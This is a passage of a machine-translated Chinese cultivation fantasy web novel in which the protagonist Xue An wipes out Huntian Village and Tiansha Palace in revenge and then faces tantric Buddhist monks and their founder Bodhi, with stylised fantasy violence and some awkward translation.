    "Master, you don''t have to care too much, don''t say that Xue An dare not come, even if he does come, this 13th Taibao horizontal training of a certain family will not be for nothing, and he will definitely make him come back and forth!"


    The sound resounded in the whole hall like a golden bell.


    Everyone nodded, and Shen Pengxing''s complexion was slightly relieved.


    But before he could speak, I heard a stern cry from a sentry outside.


    "Report to the master, a person broke into outside, claiming to be... claiming to be..."


    "What do you claim to be?" Shen Peng raised up and asked in shock.


    "Professing to be Xue An, and let you go out and die!"

 Chapter 2004： Enjoy this last time!

    Shen Pengxing almost didn''t fall off his chair when he heard the words, and then tremblingly asked, "What are you going to say?"


    "There is someone who claims to be Xue An and wants you to go out to die!"


    boom!


    There was a violent commotion in the audience.


    I was talking about it before, saying that even if Xue An came, his face turned pale instantly, and then quietly retreated, for fear of attracting the attention of others.


    Shen Pengxing''s face was even more gray, and he fell back into the chair heavily, and muttered with a dull expression: "This...how is this possible? He is...won''t he come?"


    But before he could finish speaking, he heard a cold and majestic voice coming from outside.


    "Shen Pengxing, what gives you the courage to make you think I will not come?"


    Following the voice, the entire Juyi Division Hall began to vigorously shake.


    Immediately afterwards, above their heads, Xue An''s figure gradually emerged, and then condescendingly overlooked everyone.


    And standing behind him were Gong Liangxing and others!


    Their appearance caused an uproar in the audience.


    Shen Pengxing even turned around to escape into the void and flee.


    But the originally soft space suddenly became like a copper wall and iron wall, and it was impossible to escape.


    Shen Pengxing was shocked and his nose was blue and swollen, and then he looked at Xue An with horror.


    "Xue...Master Xue! I..."


    But before he finished speaking, Xue An shook his head with a smile, and then made a silent gesture.


    "Hush...Don''t talk! What you should do now is to enjoy the last time quietly!"


    Shen Pengxing was shocked, and his face instantly became uglier than death.


    "Oh, by the way! And you!" Xue An smiled and looked at the four beams and eight pillars in the hall.


    "Enjoy this last time, because next, you will have no chance!"


    This statement came out.


    These Huntianzhai men shook violently, and then they peaked at Tianliang and the others fleeing away frantically.


    But their bodies hadn''t been far away from this gathering hall, a sword of light slashed past like a horse.


    Puff puff!


    With a muffled sound, the heads of the few people rushing to the front rose to the sky, and then blood splashed out. The headless corpse rushed forward a few steps before falling to the ground, and the souls were destroyed.


    Such a horrible scene also immediately quieted everyone who was about to move behind.


    Xue An sighed softly: "I''ve said it all, I want you to be quiet, why don''t you listen?"


    As he said, Xue An smiled at Shen Pengxing, "Master Shen, do you know the relationship between Qingyang Guan and me?"


    Shen Pengxing nodded with a pale face, "Know...Know!"


    "Since you know, why do you dare to kill them?"


    Speaking of this, Xue An''s eyes became cold, as if there was wind and snow blowing between his eyebrows, "Or, someone is pointing you behind?"


    Shen Pengxing''s eyes showed an obscure brilliance, and then his head shook like a rattle, "No one instructed, everything is my own meaning, because you had various restrictions on my Huntian Village, so after you fall, I retaliated wildly against your people!"


    "Oh? It''s that simple?" Xue An said with a smile.


    "Yes, it''s that simple!" Shen Peng Xingqiang supported himself, and then said in a decisive manner.


    "Xue An, I know that you are here for revenge. It''s useless to say more, do it!"


    Xue quietly looked at Shen Pengxing with a deadly expression on his face, and suddenly laughed.


    "Do you think that sacrificing yourself can conceal the truth behind it?"


    Shen Pengxing was shocked all over his body, and then asked in shock, "What do you mean by this?"


    Xue An turned around and said calmly: "If I remember correctly, you should have a son!"


    As soon as he said this, Shen Pengxing''s complexion instantly turned white and almost transparent.


    Xue An smiled more brilliantly, "It seems that I was right, you really have a son, and the reason why you are desperate to start with Qingyang View, does it come from the instruction of the teacher that your son worshipped? ?Or, this is purely a transaction?"


    This remark not only made Shen Pengxing''s face pale, but also made the faces of the surviving Huntianzhai people confused.


    Tuo Tianliang, the dog-headed military commander, was even more shocked, and then whispered softly.


    "That''s the case, no wonder you haven''t seen the master of the house!"


    Shen Pengxing suddenly grinned and said with a cry and a smile: "Xue An, you are right. I do have a son. Dealing with Qingyang View is also from my son''s instruction, but even if you know what you can do I won''t tell you who the other party is, just wait to spend your life in confusion! Hahahaha!"


    Shen Pengxing laughed hysterically, and then his whole body surged wildly, obviously he had made the final preparations.


    But after Xue An heard this, he just smiled indifferently, "Do you really think you can''t help me if you don''t tell me?"


    Speaking of this, in Xue An''s eyes, the brilliance was prosperous, and an extremely powerful force came crashingly, shocking everyone present.


    "If you don''t tell me, I will get it from your soul!"


    As soon as Xue An''s words fell, Shen Pengxing mustered the last bit of strength and roared: "Let''s do it together, or we will all die!"


    boom!


    The surviving Siliang Bazhu and others desperately attacked Xue An.


    For a while, seeing the brilliance in this gathering hall, the momentum is even more shocking.


    But in the next instant, all the attacks were vanished.


    Xue An wins Xue Xue in white, standing proudly, slowly saying: "Everyone will pay for their choice, and you... are no exception!"


    Words fall.


    A series of sword lights emerged from Xue An, and then criss-crossed, directly piercing the throat of everyone present.


    Puff puff!


    Amidst the dull sound, the dead bodies fell to the ground, and their faces were full of incredible consternation before they died.


    After just a breath, Shen Pengxing was the only one left in the Juyi Sharing Booth.


    He also tried to struggle but when Xue An��s gaze came over, he felt cold all over and lost control of his body. He could only watch as he floated and slowly moved towards Xue An flew away.


    "You seem desperate?" Xue An asked with a smile.


    Shen Pengxing''s eyes were full of horror.


    "Don''t look at me like this, it will come soon!"


    After all, Xue An''s eyes flashed with brilliance, and the turbulent spirit instantly invaded Shen Pengxing''s sea of ??consciousness.


    In an instant, Shen Pengxing''s eyes showed infinite pain.


    But only a moment later, his eyes returned to nothingness.


    That was a sign that his spirit had collapsed.


    Then Xue An slowly raised his head, looked out of the void with his eyes coldly, and said lightly: "Tiansha Palace! As expected, you are behind the scenes!"


    After the words fell, a sword light directly cut Shen Pengxing in half.

 Chapter 2005： I am Xue An, you wait to die!

    Tiansha Palace!


    Ranked among the top sects of the Void Great Sect, but because there were no outstanding descendants in recent years, he was absent from this session of the Qianzong Xuanhui.


    But through Shen Pengxing''s memory, Xue An learned that his direct bloodline, Shen Shi, had visited the gate of Tiansha Palace.


    The reason why Shen Pengxing dared to attack Qingyang Guan was largely due to the instigation of Tiansha Palace.


    As for why Tiansha Palace took such pains, it is necessary to talk about Xue An when he was only a fairy king.


    At that time, Xue An was tossed through the heavens, experiencing his state of mind, trying to break through the fairy king pass and advance to the next level.


    Coincidentally, he met the key training of Tiansha Palace at that time, and he was also the most amazing and brilliant descendant under his sect in more than a hundred years.


    A young girl with cardamom.


    But it was this seemingly well-behaved girl who actually had a devil-like heart, slaughtering the city at every turn, and the purpose was only to satisfy the perverted desire in her heart.


    This behavior is worse than evil repair.


    After all, Xie Xiu still has a purpose, but this descendant of Tiansha Palace does nothing, just for fun, he can kill.


    And because of the powerful forces of the division, no one dared to discipline him a little, which also made this heir more arrogant.


    Until she met Xue An.


    At that time, Xue An happened to encounter the descendant of the Tiansha Palace who was killing wantonly. After a few questions, both fought.


    This woman thought that no one would dare to really attack herself, so she was extremely arrogant.


    But she never expected that Xue An would not eat her.


    Because of her bad behavior, Xue An took an angry shot and directly cut it to pieces.


    Not only that, Xue An also single-handedly smashed into the gate of the Tiansha Palace, and persecuted the entire Tiansha Palace with one person and one sword, bowing his head and confessed.


    This was also Xue An''s highlight moment of the year.


    But also because of this, the Liangzi between him and Tiansha Palace is considered to be forged.


    After Xue An''s fall, Tiansha Palace immediately heard the wind and moved, but because of their identity constraints, they were inconvenient to do anything with Qingyang View, so they bought Huntianzhai on the condition of admitting Shen Pengxing��s descendants, Shenshi, and let them watch Qingyang. Unfeeling.


    That''s why the recent Shen Pengxing is so concerned about gains and losses, because he is afraid that the information will leak and affect his descendants.


    Xue An learned all this from Shen Pengxing''s spiritual thoughts.


    After finally digesting all his memories, Xue An took a deep breath and turned to Gong Liangxing and the others.


    "The enmity is reported! Then you will enter the Buddha kingdom in my palm!"


    "it is good!"


    Gong Liangxing and others nodded one after another. Then they devoted themselves to the Buddha Kingdom in the hands of Xue An.


    After the brilliance dissipated, Xue An stared at the empty village of Huntian, and suddenly stepped down.


    boom!


    This quaint and desolate city wall was trampled on flat ground.


    Immediately after Xue An stepped out, he came to the outside of this planet, and then took a deep breath, raised his palm and cut it down.


    A sword light that was more than tens of millions of miles long suddenly appeared, slashing the star in front of him with irresistible power.


    Rumble!


    The stars quaked, and then a deep chasm appeared from it.


    The chasm gradually spread, and finally it cracked open and was cut in half by Xue An with a sword.


    After finishing all this, Xue An turned around, strode into the darkness, and disappeared in the blink of an eye.


    In the place where the starry sky is prosperous, a huge palace is slowly floating.


    Said to be a palace, in fact it is just like a planet, and there are layers of murderous intent everywhere.


    It is the place where the famous Tiansha Palace is located.


    now.


    In this Tiansha Palace, Shen Shi walked through the palace veranda with a proud face, wherever he passed, the disciples all retreated from the roadside and bowed their heads to salute!


    He does have the capital to be proud of.


    Because of the fall of the heir that Tiansha Palace painstakingly cultivated back then, Shen Shi can now be said to be the most talented and fastest-growing leader among the younger generation of Tiansha Palace.


    In this Tiansha Palace, strength represents everything.


    That''s why Shen Shi is so arrogant.


    Especially there is a trace of ambition deep in his heart.


    Since this session of the Thousand Sect Profound Association, Xue An''s formation of Tianjiao, the young masters of the entire heavens have been greatly injured.


    Under the circumstances, Shen Shi, who failed to participate in the Thousand Sect Profound Association, became the top young master among the heavens.


    This discovery made him even more incredible, his eyes almost flying to the sky.


    at last.


    He slowly landed in front of an independent towering palace in Tiansha Palace.


    "Brother!" Many disciples saluted him one after another.


    Shen Shi''s nostrils turned towards the sky, and he nodded slightly, "Can Master be inside?"


    "Brother back, Master is discussing matters with the elders inside!"


    "Ok!"


    Shen Shi stepped into this palace.


    Sure enough, his master, the great elder of Tiansha Palace, was discussing matters with the elders.


    After seeing him come in, a faint smile appeared on the face of the great elder.


    "Master!" Shen Shi nodded.


    "Hmm! Come here!"


    Shen Shi stepped to his master''s side.


    Then I heard the great elder say: "This is what happened now. That Xue An appeared once before a blue superstar in the depths of the star sea, and then disappeared again. Now the entire heavens are looking for him, and we can��t Don''t prevent it!"


    The elders nodded one after another.


    Hearing the words Xue An, Shen Shi couldn''t help but Guanghua flashed before his eyes, and then he said in a deep voice.


    "Master, I don''t think it is necessary. What''s so great about Xue An? Although it is Xianzun, it is only a matter of the year. If he does not come, I will not let him go first!"


    Shen Shi was confident.


    Because recently his cultivation level has been diligent again, it is the time when confidence is bursting. "


    The great elder couldn''t help showing a faint smile upon hearing this.


    "You''re right, but you still can''t take it lightly! After all, although this Xue An was reincarnated and rebuilt, his strength should not be underestimated!"


    "I know!"


    Despite saying that , Shen Shi''s face is full of indifferent expressions.


    But at this moment, a stream of light rushed directly to the sky above Tiansha Palace at an inexplicable speed.


    After stopping, Xue An looked at the huge palace in front of him with full eyes, then took a deep breath and stepped on it.


    boom!


    The sky full of sword light suddenly appeared, and then it melted into a torrent, rushing straight to the Tiansha Palace in front of him.


    All this happened so quickly that even a layer of defensive array of brilliance just appeared above Tiansha Palace, and then it was directly broken by this surge of sword energy.


    The sword glow is like snow, cutting down everything that dared to stand in front of it.


    Everyone in the palace meeting was shocked.


    At this time, Xue An said indifferently: "I am Xue An, you etc... all came out to die!"

 Chapter 2006： Obliterate Tiansha Palace

    When Hua Silent and the many masters of the Palace of Human Emperor and Xuanming Mausoleum passed through the passage of time and space to reach the sky above Tiansha Palace, the scene in front of them couldn''t help being dumbfounded.


    I saw this huge palace that was originally tall and magnificent, but at this moment, it was broken to pieces, and countless debris was floating in the air, forming a huge vortex of chaos.


    But this was not what surprised them the most. What shocked them most, and even showed fear on their faces, were the huge stone pillars erected in front of the vortex.


    These stone pillars are obviously the materials of the palace itself, which are made of extremely strong spar, but at this moment they are taken away by life, and then fixed in the void by some means.


    On top of these stone pillars, there were corpses inlaid with shockingly.


    That''s right!


    It is mosaic in the literal sense.


    But seeing that these corpses were thrown into the stone pillars by an inexplicable huge force.


    The corpse had twisted knots, and some faces still had dying fear.


    The most important thing is that the number of these corpses is so large that all the stone pillars are fully inlaid. At first glance, it can be described as dense and creepy.


    Such a weird and **** picture made many people take a breath.


    "This...what''s going on?" someone asked with a trembling voice.


    The military division from the Palace of Human Emperor took a few steps forward, flew to these stone pillars, and after carefully examining for a moment, he couldn''t help but said solemnly: "It''s from the Heavenly Devil Palace! They were all killed!"


    "How... how is it possible!" someone said with a face full of disbelief.


    "Yes, although the Heavenly Sha Palace has declined in recent years, it is also a majestic Void Master. How could it be so easily slaughtered?"


    The military commander of the Human Emperor Palace did not say a word, but pointed to a pillar not far in front that was obviously much thicker than the other stone pillars.


    "I don''t want to believe that this is true, but what do you think it is?"


    Everyone looked in the direction he was pointing, and then they were all stunned.


    Because just on this stone pillar, there was an old man with good clothes nailed impressively.


    The old man''s face was distorted, his hands and feet showed a weird posture, his empty eyes looked straight ahead, his mouth was wide open, and he had obviously suffered tremendous pain before he died.


    "This is... This is the Great Elder of Tiansha Palace!" someone exclaimed.


    This time everyone was a violent commotion.


    Because the great elder of the Tiansha Palace is a magnificent Immortal King-level powerhouse, such an identity and status are already considered good in the depths of the star sea.


    But at this moment, he was killed like a pig or dog.


    Not only that, beside this great elder, the originally arrogant and arrogant Shen Shi was also nailed to the stone pillar at this moment.


    In the center of his eyebrows, a small round hole penetrated through, making his supposedly handsome face strange and terrifying.


    The whole void was quiet.


    Hua Silent and others who rushed in were all silent.


    They had searched for Xue An''s trail before the blue superstar, but they didn''t expect to wait until they arrived there, but they were empty.


    I thought it would be more and more difficult to find Xue An again, but before they could disperse, the palace lord of the Thousand Crane Palace Hua was speechless and noticed the spirit of Xue An again.


    In ecstasy, she couldn''t wait to share the news, and then the people from all sides gathered in one place and killed them aggressively.


    But I never expected that after waiting here, instead of finding the least trace of Xue An, he saw such a **** scene.


    "This... isn''t this Xue An always self-proclaimed righteous person? Why is this shot so harsh and unfeeling?" Someone whispered with a pale face.


    "It''s very simple, he is demonstrating to us in this way!" The military instructor of the Palace of Human Emperor had his eyes flickering and said in a deep voice.


    "Demonstration?" Everyone was taken aback.


    "Yes! It''s a demonstration!" The Imperial Army Master said lightly, "He actually always knew that we were following him behind, but he didn''t care, instead, he went on a slaying ring and completely wiped out the Heavenly Sha Palace! "


    A look of horror suddenly flashed in the eyes of the Human Emperor Army Master.


    "This shows... This Red Lotus Immortal Venerable has obviously changed his strategy after reincarnation and rebuilding. At least he will not be as restrained as before, but will directly use iron and blood to deter everyone!"


    "He wants to tell those who betrayed him in this way that he has returned!"


    The words of the imperial military division made everyone speechless.


    Someone stared at the fleshy jungle in front of him with a dull expression, muttering to himself: "God, what kind of demon are we dealing with!"


    At this moment, Hua Wuyu suddenly said in a solemn voice: "No, he is more terrifying than the devil! So we have to punish him before he breaks his neck, otherwise..."


    "It will be us who die!"


    Hundreds of disciples from above and below the Tiansha Palace were killed, and the great elder was nailed to the stone pillar. Such shocking news naturally spread like wildfire, spreading rapidly throughout the depths of the star sea and even the heavens.


    Everyone who heard the news was stupid.


    "How is it possible? That''s a Void Great Teacher? It was so destroyed?"


    "The key is that Xue An never used such a heavy hand, but this time he was so fierce, he was obviously completely angered. This time, the whole sky will set off a **** storm!" Sighing.


    In short, the whole world is full of public opinion, but if you say who is the most afraid after hearing this news, then naturally it belongs to Xue An''s former gang.


    "What the **** is Xue An doing? Isn''t he always generous? Even if you make a mistake, just admit your mistakes and let you have a way of life How can you kill the door so brutally this time!" Someone was almost hysterical. Madly roared.


    "Hundreds...that''s hundreds of lives! And I heard that even the newly promoted apprentices have not let go. This Xue Anguo really changed. He used to only threaten him with evil!"


    Someone whispered palely.


    There were also many people who had taken refuge in Xue An and later rebelled and hid in the corners of the heavens, carefully observing the development of the situation.


    But just when the entire heavens were facing the enemy, Xue An disappeared again.


    It disappeared completely without leaving a trace.


    Facing Xue An''s unpredictable method of seeing the dragon without seeing the head, he was full of confidence, thinking that relying on the curse breath of the disciple Fu Nianzhi could easily grasp Xue An''s speechlessness, and he was completely desperate at this moment.


    As for the sects such as the Palace of Human Emperor and Xuan Ming Tomb, although they didn''t say anything on the surface, they still felt heavy in their hearts.


    It''s as if something bad is about to happen.

 Chapter 2007： Take prestige as virtue, King Kong will not move!

    And just when the entire heavens were stunned by this incident, Xue An, who had personally wiped out the Tiansha Palace, had quietly arrived at the edge of the star sea and flew into the unknown void.


    All because he received a letter from the Buddha Lotus.


    The person who spread the letter was Maitreya, the top master of the tantric womb Tibetan world.


    He said in the letter that there was an extremely important matter that required Xue An''s decision, and he asked him to rush over immediately.


    When receiving the information, Xue An had just nailed the Shen Shi to the stone pillar.


    At that time, the entire Tiansha Palace had been destroyed.


    Even the spirit beast guarding the door was not spared, and it truly did not leave the dog or the dog.


    And the reason why Xue An did this was not because his temperament had become tyrannical, nor was it to establish his prestige.


    Investigate its root cause, everything is due to this Tiansha Palace.


    Because after Xue An came to the Tiansha Palace, he saw a thick layer of resentment filling the sky above the Tiansha Palace.


    When Divine Mind rushed into it and searched for it, Xue An couldn''t help getting furious.


    Because he suddenly discovered that this seemingly polite Tiansha Palace was actually experimenting with the souls of ordinary monks and even mortals.


    The purpose is to try out the most reasonable exercises in this way.


    But this method is too damaging and poisonous, because after the life of the soul is tested, it means that the soul is scattered.


    Not only that, Xue An also saw all sorts of nasty and extremely dirty things.


    This couldn''t help but make him angry, so he didn''t talk nonsense and made a bold move, directly razing the entire Tiansha Palace to the ground.


    After finishing all this, he turned and flew towards the tantric fetal Tibetan realm.


    But it was such a move that caused the entire heavens to shake, which Xue An did not expect.


    And even if it was expected, Xue An didn''t bother to pay attention.


    After all, do you still need to care what others think about what you do?


    The two great realms of Tantric Buddhism are actually far away from the depths of the Xinghai Sea, but under Xue An''s feet, it only lasts for more than a day.


    at last!


    The brilliance was faint in the void ahead, and after passing through a thin layer of light fog, a magnificent mandala appeared in front of Xue An.


    The mandala, also known as the mandala, means round and round, and it is an incomparable place in Tantra.


    And the mandala in front of it is extremely vast and complete.


    First, the outermost periphery of the mandala is a blazing flame.


    These flames are like a moat, preventing all demons from entering.


    The inner layer is a square city. Looking from a distance, the city is filled with golden light, and the Sanskrit sound shook the sky, causing the void to ripple from time to time, and then blooming lotus flowers.


    Just as Xue An stopped, the Sanskrit sound in the city stopped suddenly, and then the gates of Fangcheng opened slowly, and a lot of lotus flowers emerged out of thin air, forming a long corridor and extending to Xue An''s. Underfoot.


    Immediately afterwards, a monk with the dignity of the treasure came out of the city and put his palms together at Xue An.


    "Master Nan Wu! Xue Shizhu, we have been waiting for you for a long time! Please come with me!"


    After all, the monk turned and walked into the city.


    Xue An looked at his back, the brilliance flashed in his eyes, and then a golden wheel appeared in the back of his head, and he walked forward.


    As soon as he entered this square city, the city gate behind him suddenly closed, but a tall teaching platform appeared in front of him.


    Maitreya stood under the teaching platform, and his face was distressed.


    When he saw Xue An, he took a few steps forward and eagerly shouted, "Master!"


    Xue An smiled slightly and waved his hand, "No need to say, I already know everything!"


    After all, Xue An didn''t even glance at the monks under the teaching stage, and walked onto the stage.


    But as soon as he stepped on a step, a monk with a majestic appearance appeared in front of him, the one who had just left the city to greet him.


    I saw him expressionless, and said lightly: "If Xue Shizhu wants to come on stage, please pass me first!"


    Unexpectedly, Xue An''s footsteps didn''t stop at all, and he didn''t even lift his eyelids, but said lightly: "Get out of the way!"


    With that said, Xue An has already stepped onto the second step.


    The monk snorted when he saw it, and suddenly a virtual image of a vajra pestle appeared in front of him, and he stabbed towards Xue An.


    The vajra pestle is a first-class weapon of Dharma sect, which is good at destroying all evil methods.


    Especially in the hands of this monk, this blow was even more powerful and shocking.


    But in the face of such a blow, Xue An didn''t even move, but his eyes flashed, and a lotus flower suddenly grew in the void, just blocking the front of the vajra.


    Ding!


    After a faint sound, the vajra pestle, which is known as indestructible, did not hold on for a second in front of the soft lotus flower, and broke apart every inch.


    The monk snorted, the golden light in his eyes suddenly darkened, and then he put his palms together with a sad face, and bowed to Xue Anshen.


    "Master Nan Wu, Donor Xue, please!"


    After that, he stepped aside.


    Xue An was expressionless and continued to walk up.


    But just a few steps away, another fat monk stopped the way.


    I saw that the monk was fat like a meat mountain, standing on the steps, looking at Xue An condescendingly, and then grinned.


    "Xue Shizhu, the little monk also dare to come and try. If you can let me leave my original position, then you will pass! How?"


    Although it was seeking Xue An��s opinion, on this fat monk, golden lights were walking and flickering, and there was a sound of trembling muscles and bones in his body, and his body was already very tall. Then it was a little higher, and the majestic momentum was enough to make people startled.


    What kind of person is this, it is clearly a big killer that can attack the city and plunder the village.


    Ordinary people don''t talk about doing it, just standing in front of this monk will lose their courage.


    Xue An stopped, looked up at the monk, and then a cold smile appeared on the corner of his mouth.


    "The Great Vajra Method?"


    "Xue Shizhu really has good eyesight! What the Sajia cultivates is the great mighty Vajra method of the Vajra Realm!" the monk said quite proudly.


    But Xue An shook his head lightly, "Unfortunately, it''s a pity that I''m still training!"


    As soon as this statement was made, the monk''s face instantly became a little ugly.


    "What? Are you dissatisfied?"


    "It''s useless to say moreSince Donor Xue feels that I am not hot enough, please do it!" the monk said coldly.


    Xue An smiled slightly, "Well, then I will let you see and see today, what is the real virtue of majesty and not moving!"


    After saying that, Xue An stretched out his hand, a little golden light suddenly condensed on the slender fingertips, and then pointed out!


    The monk didn''t care at all, because he had absolute confidence in his indestructible Vajra body, thinking that such a finger couldn''t help him.


    But he never expected that in the next second, he would pay a painful price for his arrogance!


    Hearing a loud bang, the monk, who was more than three meters tall and sturdy like an elephant, was blown out like dead leaves falling on a tree.


    And after landing, there was a continuous explosion in his body, and the whole person was like a deflated ball, and his body began to shrink quickly.


    Xue An broke his incorruptible body with a finger.


    This is the power of virtue!

 Chapter 2008： Guan Zi

    There was a silent uproar in the audience, and people couldn''t believe that this fat monk was defeated so easily.


    You must know that his golden body is second to none in the entire tantric corpse and vajra.


    Even this monk, whose body shape has shrunk severely, has a face of bewilderment.


    He did not expect that he would lose so quickly and so miserably.


    While everyone was stunned, Xue An stepped on to the high platform.


    At this moment, the fat monk suddenly got up and stood in front of Xue An.


    Xue An raised his eyebrows slightly, "Why? Still want to fight?"


    The fat monk immediately shook his head like a rattle, "No, no, of course not that way!"


    As he said, he smiled slyly and folded his palms together, "Mr. Xue, the name of the Sajia King Kong Hand, the guy who just stopped you is called Xukongzang, it''s my brother!"


    The former monk with the dignity of the treasure-xiang also greeted Xue An with his palms together.


    Void Zang, Diamond Hand....


    Xue An''s eyes flashed with brilliance, and he smiled faintly, "It turns out to be the Great Bodhisattva in Tantra!"


    Among the two realms of Tantric Buddhism, there are several well-known masters, including Vajrasattva and Voidzang.


    "Hey, how dare you call yourself the Great Bodhisattva in front of you! Mr. Xue, please!"


    With that said, King Kong gave a way with a solemn expression on his face.


    Xue An stepped forward and continued to walk up.


    This time, no one dared to stop them on the steps until they were about to step onto the tower.


    A white shadow slowly emerged in front of him.


    This is a monk in white clothes. He looks young. There is a hint of youth in his handsome facial features, but his eyes contain endless wisdom.


    This contrast gave the monk a strange charm.


    Xue An stopped, staring at the monk in front of him, and slowly said: "Are you also here to stop me?"


    The little monk in white clothes smiled slightly, then gave a bow with one palm, "Little monk is at ease, I have been waiting for Mr. Xue for a long time!"


    Feel free!


    As soon as the name came out, Xue An''s eyes couldn''t help flashing a strange brilliance, and then a meaningful smile appeared.


    "The number one master in the tantric vajra world is free?"


    "Don''t dare to be, the little monk is just an ordinary monk!" Guan Zizai said with a smile, without any smoke.


    This kind of affinity is enough to make anyone put down their guard.


    But Xue An was unmoved, and instead said indifferently: "Whether it is or not, since you are here to stop, then do it, and let me see how capable you tantric masters really are."


    These words made the anger on the faces of many monks loomed.


    Because Xue An''s words were both inside and outside, he clearly didn''t put them in his eyes.


    Guan Zizai smiled as he did, and sighed lightly: "Mr. Xue is indeed a peerless Immortal Venerable once, really so suffocating! If this is the case, then I am offended!"


    After all, Guan Zi raised up his white palms and patted them lightly.


    laugh!


    With a sharp sound, countless lotus petals suddenly appeared around Guan Zizai''s body, and they madly attacked Xue An.


    In the golden light work, the entire world is shrouded by a very solemn Qi machine, and the center of the Qi machine is Xue An.


    Such a violent style of play also formed an extremely sharp contrast with Guan Zizai''s delicate and handsome appearance.


    But Xue An faced this stormy blow, but didn''t even blink his eyelids, and even put his hands behind him very leisurely, watching the petals flying in the sky quietly.


    The sharp and unparalleled lotus petals fell like rain, just falling on Xue An''s body.


    Chi Chi Chi Chi!


    There was an extremely unpleasant sound of friction, as if someone was rubbing a concrete floor with a large electric saw, making people''s bones soft.


    It was these lotus petals that were frantically grinding Xue An''s skin and flesh.


    But then, I saw these lotus petals shattered into pieces.


    Looking at Xue An at this time, the whole body was brilliance and clean, and there was no slight wound.


    Not only that, the skin on Xue An''s body seems to have disappeared even the pores, it is as smooth as jade, and it exudes a light fragrance.


    Guan Zizai''s complexion changed, and he blurted out, "No dirt!"


    Xue An said indifferently: "Yes! It is Wumu!"


    The so-called innocence is an extremely high realm in Buddhist cultivation. After entering this realm, the whole body will be as pure as colored glaze, clean and flawless, without any external cause and effect.


    In this way, external attacks are naturally invalid.


    Speaking of which, Xue An learned this level from Yuesha back then, but now Xue An has a higher level than Na Yuesha.


    Even the first master of the tantric diamond world, Guan Ziyi, can be immune to attacks.


    The smile on Guan Zishao''s face finally faded, and the brilliance in his eyes became solemn.


    At the same time, only Xue An said coldly: "You just had a good time playing, now it''s my turn!"


    After all, Xue An took a step forward, before his feet hit the ground, he rushed to this Guan Zizhen.


    This process was so fast that even before Guan Zizai had time to react, Xue An had stretched out jade-like fingers and pierced directly at Guan Zizai''s eyebrows.


    Before the finger came, the killing intent was already present.


    The sword intent, like a sharp needle, burst out suddenly between Guan Zizai''s eyebrows.


    boom!


    Under the flash of light, everyone felt a slight pain in their eyes, and then they were forced to close their eyes.


    When they opened their eyes again, everyone couldn''t help being dumbfounded.


    I saw this Guan Zizai standing in place with a bitter face, while Xue An''s fingers were placed directly between his eyebrows, making him unable to move at all.


    Then I saw a drop of red blood slowly oozing out between Guan Zizai''s eyebrows, and then it dripped down.


    Boom!


    Although it was just a drop of blood, the entire platform trembles.


    "Now... are you convinced?" Xue An said lightly Guan Zi sighed slightly, just about to speak.


    Just heard a vast and majestic voice from Gaotaizhi.


    "Guan Zizai, you are not Xue Shizhu''s opponent, you should withdraw!"


    "Yes!" Guan Zizai immediately stepped aside after hearing this.


    As soon as this voice came out, the monks who were present also knelt to the ground and worshipped on the platform.


    Xue An was expressionless, raised his foot and walked onto the platform.


    In an instant, a golden light flashed, and then Xue An was nowhere to be seen.


    Maitreya looked at Xue Anna''s disappearing back blankly, and clenched his hands unconsciously.


    Master, you must be careful!


    And on the high platform, Xue An stopped and said indifferently: "I have used such a big battle to invite me to come, and even let my disciples line up to test me. What do you want to do? The Bodhi!"

 Chapter 2009： Bodhi

    Following Xue An''s voice, a golden light appeared in the center of the high platform, and then a Buddha sitting on the lotus platform with a vague but majestic momentum appeared.


    It is the master Bodhi of Tantric Buddhism!


    That is the fundamental deity who created the two realms of Tizo and Vajra.


    Although he couldn''t see his face clearly, he had been looking at Xue An with a gentle gaze, and only sighed softly after a long time: "You really have his aura on your body, so he has fallen, right?"


    Xue An was silent for a moment, then nodded, "Yes!"


    He knew who this master Bodhi was asking.


    In fact, the Blessed One who founded the Pure Land Buddha Kingdom was a Tantric disciple at the beginning, but he left after having his own insights.


    In other words, the Blessed One is also a disciple of this master Bodhi in a sense.


    "Hey, what a fool!" The Master Bodhi sighed, then fell silent.


    Xue An did not speak, but waited quietly.


    It wasn''t until a long time later that the master Bodhi raised his head and slowly said, "Although he sacrificed himself to seal the bronze gate, it won''t last long, right?"


    Xue An shook slightly, "You all know?"


    The Master Bodhi chuckled, and then slowly spread out his hand, and a luminous ball of light appeared in the palm of his hand.


    The light ball slowly turned, and there were countless auras faintly deducing birth and death.


    "Although I am in this mandala, things in the heavens are rarely concealed from me!"


    As he said, the master Bodhi raised his head, and the haunting mist in front of him suddenly disappeared, revealing a majestic and a kind cheek.


    "Didn''t you just ask me, why should I invite you? Then I will tell you now that Maitreya has already told me everything, so I want to hear what you mean!"


    With the words, the eyes of the Master Bodhi burst out with extremely bright brilliance, staring at Xue An.


    Xue An met Bodhi''s gaze without showing any weakness, and said in a soothing but very firm tone: "Naturally, we will destroy all enemies who dare to come and defend the heavens!"


    "Defend the heavens?" The teacher Bodhi suddenly smiled, "Then do you know what existence you are going to face?"


    Xue An nodded, "Of course I know!"


    "Then you are so confident?" the teacher asked curiously.


    "What are they, do they conflict with how I defend the heavens?" Xue An asked back.


    The Master Bodhi was startled slightly, and then burst into laughter, "This answer really has the style of your Red Lotus Immortal Venerable! But have you ever thought that if I agree, the entire Tantra will be involved in this catastrophe? , Even how much we can survive is unknown!"


    "Think about it!" Xue An nodded, "So I also want to ask you now, do you want to join or not!"


    The Master Bodhi stared at Xue An, and suddenly said, "Have you noticed something?"


    "About what? For example, you have dissipated, is it just a matter of will to talk to me now?" Xue An said lightly.


    As soon as this statement came out, the master bodhi was shocked, and immediately smiled bitterly, "Sure enough, I can''t hide anything from you, but what you said is not all right. I didn''t dissipate, but there was still a baby with the entire mandala. The two worlds of Tibetan King Kong are only one!"


    Xue listened quietly, because he knew this master Bodhi would definitely have something to say.


    really.


    I only heard the Bodhi said with a wry smile: "The reason why I did this is because my body has been destroyed, and the instigator is also an evil thing from outside the heavens!"


    At this time, even Xue An couldn''t help being shocked.


    Because this master bodhi is one of the great powers from the ancient times, although it is said that his reputation is not high due to the unique nature of Buddhism, but the strength is really not to be underestimated, and even the realm is infinitely close to half. Step in the realm of Xianzun.


    But with such strength, the body was destroyed by people, and in the end he could only connect his consciousness with the world. How could this not make him shake it.


    As if he felt Xue An''s surprise, the master Bodhi sighed slightly: "I know you must really want to know who the other party is and what kind of strength it has, but I can''t tell you!"


    "why?"


    "Because... the original experience has been erased from my memory by some force!"


    At this time, Xue An even raised his eyebrows.


    "Erase your memory?"


    "Yeah! It''s unbelievable, I don''t want to believe it is true, but this is how everything happened! So..."


